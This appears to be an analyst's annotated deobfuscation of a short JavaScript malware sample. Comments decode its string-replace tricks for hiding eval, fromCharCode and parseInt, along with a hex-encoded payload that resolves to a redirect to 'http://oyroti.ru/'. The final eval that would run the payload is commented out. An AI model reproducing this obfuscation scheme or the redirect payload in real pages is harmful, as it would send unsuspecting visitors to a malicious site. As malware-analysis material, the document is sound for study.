Javascript virus

var QczuQeg = 'mRjDH';
var sgkE;
var PEKNrcG = 'PrXespvlsaXcXe'.replace(/[sPvX]/g, ''); //=> replace
var hDviVH;
var gNhTBOW = 'NfQrNomNCQhaNrQQCQoNdNe' [PEKNrcG](/[NQ]/g, ''); //=> fromCharCode
var IZfjkVz = 50;
var JApqpiU = 53;
var jgaJdhv = 20;
var ilaS = 'FpgaFrBseBIBnt' [PEKNrcG](/[BgF]/g, ''); //=> parseInt
var PxfrSE = 57;
var UcleaTC = 'dxDDT';
var zlkOqY;
var MyUl = 'HsglHigce' [PEKNrcG](/[HgY]/g, ''); //=> slice
if ('xdFAikk' == 'ywlCnXB') EZmmNe();
var qvIaN = 'feEvAafl' [PEKNrcG](/[EAf]/g, ''); //=> eval
var AstMW = 'JhjAM';
var VWeWemp;
var UBTFC = '';
var egvIQhW;
var plcL = 'PVEoBo';
var lkcdpz = 92;
var VgDCc = 44;
var RmFM = 'elXykYc';
var rtRzOUu = '9ca79bada59da6ac66a4a79b99aca1a7a6755fa0acaca8726767a7b1aaa7aca166aaad675f';
if ('Zplrpzl' == 'rNdx') EAHJW();
var rOrFw = 74;
var ejwUwJ;
var jXtk = 'xLLAcV';
if ('wSNZS' == 'kjueBN') ViLavW();
var wlboPtK = (function () {
    var xiWq = 'Ppcsdwo';
    var zkKlwL = 27;
    return this;
    var FrpbWvr = 16;
    var OgbhA;
    var wXtNIn;
})(); //=> return this/window
var OUmUuB;
var wXpv = 58;
var sQxZz = 'OcCoOnOCsCtOrOuOcCtOoCr' [PEKNrcG](/[OC]/g, ''); //=> constructor
if ('bfIHP' == 'bRrnmD') wBuinB();
//var mXdnxV = 'WXTsjPw' [sQxZz];
var mXdnxV = 'WXTsjPw' . constructor;

if ('wQKQ' == 'edSCeO') enXeRii();
var NqhzmI;
if ('MfMQDf' == 'TFlVVP') WZKb();
var sDojl = 54;
for (beTU = 0; beTU < rtRzOUu.length; beTU += 2) { // => rTRzOUu length = 74
    if ('JlDX' == 'XwpjoKf') psavv();
    //OqfwSf = wlboPtK[ilaS](rtRzOUu[MyUl](beTU, beTU + 2), 16) - 56;
    OqfwSf  = window.parseInt(rtRzOUu.slice(beTU, beTU + 2), 16) - 56;//=>return 74 number
    var kufVdvO;
    var gVCY = 'iUnd';
    //UBTFC += mXdnxV[gNhTBOW](OqfwSf);
    UBTFC += String.fromCharCode(OqfwSf);//generate string from charcode that built before in OqfwSf
    /*
    100 => d
    111 => o
    99  => c
    117 => u
    109 => m
    101 => e
    110 => n
    116 => t
    46  => .
    108 => l
    111 => o
    99  => c
    97  => a
    116 => t
    105 => i
    111 => o
    110 => n
    61  => =
    39  => '
    104 => h
    116 => t
    116 => t
    112 => p
    58  => :
    47  => /
    47  => /
    111 => o
    121 => y
    114 => r
    111 => o
    116 => t
    105 => i
    46  => .
    114 => r
    117 => u
    47  => /
    39  => '
    */
    var rsnWVO = 'mfMyy';
    var MKrk;
} //=> UBTFC = document.location='http://oyroti.ru/';
var LOFO;

/* Must be commented */
//wlboPtK[qvIaN](UBTFC);
//window.eval(UBTFC);
/* Must be commented */

var xRBEEf;
var RvkF = 41;
var Jyrz = 'REBzwWC';
var nbjDH = 'eCWL';